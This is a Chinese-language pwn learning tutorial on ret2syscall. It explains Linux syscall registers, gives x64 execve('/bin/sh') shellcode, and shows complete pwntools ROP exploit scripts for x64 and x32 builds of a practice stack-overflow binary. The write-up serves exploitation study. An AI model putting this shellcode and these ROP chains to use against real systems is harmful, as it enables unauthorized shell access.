pwn学习-ret2syscall
系统调用
操作系统会内置一些函数,例如常见的read
和write
,读取和写入。在Linux中使用这些内置的函数叫做系统调用。
系统调用就是内核为用户提供的一个接口,系统内置很多进程和服务,直接让用户操作很危险也容易出现故障,所以用户层不能直接执行系统层的操作,但是有了这个系统调用的接口,用户可以使用这个接口来调用系统中的服务。
可以使用汇编代码写一个简单的系统调用,例如我们常见的getshell
代码
xor rdx, rdx
mov qword rbx, '//bin/sh'
shr rbx, 0x8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
0x3b
在x64
中是execve
的系统号,准备好参数后,使用syscall
进行系统调用getshell
在系统调用时,不管是x32和x64都是使用寄存器进行参数的传参,在调用调用某个函数的时候,需要设置好对应的参数到寄存器中,然后使用syscall
调用,一般称syscall
为中断标志,因为一般情况下我们在执行一个程序时中间忽然插入一个系统调用,这时程序就中断了,会在执行完系统调用然后继续执行程序。
在系统调用的传参时,不同的寄存器已经规定好了该寄存器是系统调用的那一个参数,例如常见的如下图:
rax
寄存器负责保存系统调用号rdi
寄存器负责保存系统调用的第一个参数rsi
寄存器负责保存系统调用的第二个参数rdx
寄存器负责保存系统调用的第三个参数
..... ..... 等等
可以参考下面这两个网站:
- https://syscalls32.paolostivanin.com/
- https://shell-storm.org/shellcode/files/linux-4.7-syscalls-x64.html
在做pwn
题目的时候,一个程序拥有栈溢出漏洞,但是没有找到system
函数的调用,并且开启了NX
保护机制,如果该程序使用static link(静态链接)
的方式编译,可以尝试ret2syscall
进行栈溢出漏洞
在分析的时候,我们通常会先考虑该程序中是否有/bin/sh
字符串,如果有可以直接使用,如果没有需要使用read()
系统调用自己写入
ret2syscall实操
使用程序如下:
链接:https://pan.baidu.com/s/1jpci_4r0VHA_r4euhKGRJQ
提取码:es3k
这里我对x64进行分析,后续我会将x32
和x64
的脚本放到最下方,x32
和x64
的区别就是使用的寄存器名称不一样,其他都一样
首先分析该程序的基本信息:
接着使用ida
分析程序伪代码
ret2syscall
函数存在栈溢出0x30 + 0x8
编写脚本如下:
from pwn import *
p = process("./x64_ret2syscall")
# p = remote("192.168.154.176",8888)
p.recvuntil("Welcome to x64_ret2syscall")
buf = 0x6cc000 - 0x40
syscall = 0x0000000000467565
pop_rax_ret = 0x000000000041f5b4
pop_rdi_ret = 0x0000000000401656
pop_rsi_ret = 0x0000000000401777
pop_rdx_ret = 0x0000000000442a46
pop_rdx_rsi_ret = 0x0000000000442a69
padding = 0x30 + 0x8
payload = b"A" * padding
# read(0,buf,8)
# payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(buf) + p64(pop_rdx_ret) + p64(8)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi_ret) + p64(8) + p64(buf)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall)
# execve("/bin/sh",0,0)
# payload += p64(pop_rdi_ret) + p64(buf) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(buf) + p64(pop_rdx_rsi_ret) + p64(0) + p64(0)
payload += p64(pop_rax_ret) + p64(0x3b)
payload += p64(syscall)
p.send(payload)
p.send("/bin/sh")
p.interactive()
gadget
这里使用ropper
获取,使用pip install ropper
安装
上述我演示了syscall
的gadget
如何获取,其余的rdi、rsi、rdx
获取方式相同
注意: 我们使用read()
系统调用后需要send()
发送/bin/sh
写入到data
数据段中
如何获取data
数据段的地址呢?
首先使用pwndbg x64_ret2syscall
,接着输入b main
断点,然后run
,最后使用vmmap
查看
为0x6cc000
,我们写入的是规定的8个字节,所以需要buf = 0x6cc000 - 0x40
最后本地运行得到shell
x32脚本
from pwn import *
p = process("./ret2syscall")
p.recvuntil("Welcome to ret2syscall")
buf = 0x80eb000 - 0x40
syscall = 0x0806f4c0
pop_eax_ret = 0x08072b14
pop_ebx_ret = 0x080481c9
pop_ecx_ret = 0x080de945
pop_edx_ret = 0x0806eeba
pop_edx_ecx_ebx = 0x0806eee0 #: pop edx; pop ecx; pop ebx; ret;
padding = 0x30 + 0x4
payload = b"A" * padding
# read(0,buf,8)
# payload += p32(pop_ebx_ret) + p32(0) + p32(pop_ecx_ret) + p32(buf) + p32(pop_edx_ret) + p32(8)
payload += p32(pop_edx_ecx_ebx) + p32(8) + p32(buf) + p32(0)
# read sys_call
payload += p32(pop_eax_ret) + p32(3)
payload += p32(syscall)
# execve("/bin/sh",0,0)
# payload += p32(pop_ebx_ret) + p32(buf) + p32(pop_ecx_ret) + p32(0) + p32(pop_edx_ret) + p32(0)
payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(buf)
# execve sys_call
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(syscall)
p.send(payload)
p.send("/bin/sh")
p.interactive()